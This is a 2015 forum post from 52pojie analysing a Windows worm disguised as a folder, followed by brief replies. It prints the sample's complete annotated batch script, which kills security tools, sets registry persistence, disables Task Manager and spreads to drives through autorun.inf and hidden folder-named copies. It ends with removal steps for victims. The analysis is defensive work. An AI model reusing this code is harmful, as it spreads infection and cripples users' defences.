吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 6112|回复: 6
收起左侧

[PC样本分析] 一枚文件夹病毒样本分析

  [复制链接]
foolish 发表于 2015-11-12 15:31
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 foolish 于 2015-11-16 13:29 编辑

写在前面的话:
基本没有分析难度,PE所做的工作就是生成批处理,并调用,主要对批处理的代码进行解释,提出了处理意见。
样本链接:http://www.52pojie.cn/thread-431928-1-1.html
文件名称:新建文件夹.exe
文件大小:71,168 字节
文件类型:exe
病毒名称:
MD5: 061FD83EACEE46A66E4680B4906D4949
SHA1: B60FF2130F1CBB0E8735FFE39A2045CA5AC12A99

PE文件的关键代码
1.png
核心的批处理文件:
[Bash shell] 纯文本查看 复制代码
001
002
003
004
005
006
007
008
009
010
011
012
013
014
015
016
017
018
019
020
021
022
023
024
025
026
027
028
029
030
031
032
033
034
035
036
037
038
039
040
041
042
043
044
045
046
047
048
049
050
051
052
053
054
055
056
057
058
059
060
061
062
063
064
065
066
067
068
069
070
071
072
073
074
075
076
077
078
079
080
081
082
083
084
085
086
087
088
089
090
091
092
093
094
095
096
097
098
099
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
::事先声明,我并不太会bat的语法,这里凭感觉写点注释,如有问题,请提出,谢谢
@shift
[url=home.php?mod=space&uid=266048]@echo[/url] off
if exist "%~n0" (explorer.exe "%~n0"&goto a)
::这里应该是判断传入的参数个数
cd /d "%~dp0"
if /i "%cd%"=="%~d0\" (explorer.exe "%~d0")
:a
set w=%systemroot%\system32\Drivers
::设置w为上面的路径,后面会使用到
if not exist %w%\USBInfo.com (attrib -s -h %0© %0 %w%\USBInfo.com)
::复制传入参数的文件到:C:\Windows\system32\Drivers下面,命名为USBInfo.com,并设置属性为隐藏、系统。
if /i not "%cd%"=="%w%" (goto end)
:d
taskkill /f /im usbmon.exe /im U盘病毒免疫器.exe /im USBCleaner.exe /im mmc.exe /im regedit.exe
::结束掉下面的进程:usbmon.exe、U盘病毒免疫器.exe、USBCleaner.exe、mmc.exe、regedit.exe
if not exist "%userprofile%\「开始」菜单\程序\启动\QQ.com" (copy %w%\USBInfo.com "%userprofile%\「开始」菜单\程序\启动\QQ.com" )
::将病毒文件复制为QQ.com,放到启动项里面,实现开机启动
if exist %w%\Driver.sys exit
if not exist "%systemroot%\system32\ScreenSave.scr" (copy "%w%\USBInfo.com" "%systemroot%\system32\ScreenSave.scr")
::C:\Windows\system32\ScreenSave.scr也是病毒文件
if not exist "%w%\USBInfo.sy_" (call:reg>%w%\USBInfo.sy_)
if not exist "%w%\USBstor.vbe" (call:slp>%w%\USBstor.vbe)
if not exist "%w%\USBInfo.vbe" (call:vbe>%w%\USBInfo.vbe)
if not exist "%w%\USBSys.vbe" (call:slp2>%w%\USBSys.vbe)
::上面这4行代码是将下面对应的函数保存为对应的文件,路径为:C:\Windows\system32\Drivers
goto 1
:end
if not exist "%w%\USBStor.vbe" (call:slp>"%w%\USBStor.vbe")
if exist "%w%\Driver.sys" (del /a /f /q "%w%\Driver.sys")
if not exist "%w%\Driver.sys" (echo.Driver>"%w%\Driver.sys"&%w%\USBStor.vbe)
if exist "%w%\Driver.sys" (del /a /f /q "%w%\Driver.sys")
if not exist "%w%\USBInfo.vbe" (call:vbe>"%w%\USBInfo.vbe")
"%w%\USBInfo.vbe"
exit
:vbe
echo.createobject("wscript.shell").run "%w%\USBInfo.com"
goto :eof
:slp
echo.wscript.sleep 6000
goto :eof
:slp2
echo.wscript.sleep 400
goto :eof
:inf
echo.[AutoRun]
echo.icon=%systemroot%\system32\shell32.dll,7
echo.label=本地磁盘
echo.open=
echo.
echo.shell\open=打开(O)
echo.shell\open\Command=文件夹.exe
echo.shell\open\Default=1
goto :eof
::inf是用来感染的,当打开本地磁盘时,就会调用文件夹.exe
:reg
echo.Windows Registry Editor Version 5.00
echo.
echo.[HKEY_CURRENT_USER\Control Panel\Desktop]
echo."ScreenSaveTimeOut"="60"
echo."SCRNSAVE.EXE"="C:\\WINDOWS\\system32\\ScreenSave.scr"
echo.
echo.[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
echo."@"="c:\\windows\\system32\\Drivers\\USBInfo.com"
echo.
echo.HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
echo."@"="c:\\windows\\system32\\Drivers\\USBInfo.com"
echo.
echo.HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
echo."@"="c:\\windows\\system32\\Drivers\\USBInfo.com"
echo.
echo.[HKEY_CURRENT_USER\SoftWare\Microsoft\Windows\CurrentVersion\Policies\System]
echo."DisableTaskmgr"=dword:00000001
echo.
echo.[HKEY_CURRENT_USER\SoftWare\Microsoft\Windows\CurrentVersion\Policies\Explorer]
echo."NoRun"=dword:00000001
echo."NoFolderOptions"=dword:00000001
echo.
echo.[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
echo."HideFileExt"=dword:00000001
echo."ShowSuperHidden"=dword:00000000
echo."Hidden"=dword:00000000
echo.
echo.[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL]
echo."Checkedvalue"=dword:00000000
goto :eof
::reg是注册表相关的操作,添加启动项了、设置隐藏了、禁用任务管理器等等
:1
regedit /s %w%\USBInfo.sy_
%w%\USBStor.vbe
cd\
call:s
d:
call:s
if exist e:\ (goto e)
goto ff
:e
e:
call:s
:ff
if exist f:\ (goto f)
goto gg
:f
f:
call:s
:gg
if exist g:\ (goto g)
goto hh
:g
g:
call:s
:hh
if exist h:\ (goto h)
goto ii
:h
h:
call:s
:ii
if exist i:\ (goto i)
goto jj
:i
i:
call:s
:jj
if exist j:\ (goto j)
goto kk
:j
j:
call:s
:kk
if exist k:\ (goto k)
goto ll
:k
k:
call:s
:ll
if exist l:\ (goto l)
goto mm
:l
l:
call:s
:mm
if exist m:\ (goto m)
goto nn
:m
m:
call:s
:nn
if exist n:\ (goto n)
goto o
:n
n:
call:s
:o
c:
cd %w%
goto d
::上面的,对每个磁盘都调用下面的s函数
:s
%w%\USBSys.vbe
if not exist 文件夹.exe (copy %w%\USBInfo.com 文件夹.exe)
attrib +a +r +s +h 文件夹.exe
::设置属性隐藏
if exist autorun.inf\ (eCho.y|cacls autorun.inf /p everyone:f
rd autorun.inf /s /q&del /f /a /q autorun.inf)
if not exist autorun.inf (call:inf>autorun.inf&attrib +a +r +s +h autorun.inf)
if exist desktop.ini del /f /a /q desktop.ini
dir /a:d /b>desktop.ini
for /f "usebackq tokens=*" %%i in (desktop.ini) do if not exist "%%i.exe" (copy %w%\USBInfo.com "%%i.exe"&attrib +s +h "%%i")
del /f /a /q desktop.ini
attrib +a +r +s +h "recycler.exe"
attrib +a +r +s +h "system volume information.exe"

处理意见:
下面的操作,建议在关机状态下,使用PE开机处理
1、全盘搜索,删除下面的所有文件:USBInfo.com、QQ.com、Driver.sys、ScreenSave.scr、USBInfo.sy_、USBstor.vbe、USBInfo.vbe、USBSys.vbe、文件夹.exe、autorun.inf、recycler.exe、system volume information.exe
2、进入注册表,清理启动项
3、最好再用USB免疫工具全盘进行一下免疫。


免费评分

参与人数 2热心值 +2 收起 理由
莫忘i + 1 热心回复!
Hyabcd + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

Extant 发表于 2015-11-12 20:19
感觉解释得不怎么详细,很多地方都不知道怎么回事,还得慢慢研究一下,不过谢谢楼主的分析,楼主辛苦啦,加油
 楼主| foolish 发表于 2015-11-12 20:57
Extant 发表于 2015-11-12 20:19
感觉解释得不怎么详细,很多地方都不知道怎么回事,还得慢慢研究一下,不过谢谢楼主的分析,楼主辛苦啦,加 ...

我的目的并非解释清楚,我是希望可以通过自己的分析,让受害者解决他们的问题。至于想详细看懂,去学习一下bat的语法就一切OK了。那不是我的重点。
Mr.Mlwareson_V 发表于 2015-11-13 15:41
12行代码 还有将文件属性设置为系统属性并且隐藏
莫忘i 发表于 2015-11-13 17:31
可以教我吗?我自己也想学会!!
Lesita 发表于 2015-11-13 23:10
类似于挥金病毒,伪装成 文件夹。而且 感染 autorun.inf
 楼主| foolish 发表于 2015-11-16 13:29
Mr.Mlwareson_V 发表于 2015-11-13 15:41
12行代码 还有将文件属性设置为系统属性并且隐藏

谢谢提醒
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-3-27 07:59

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表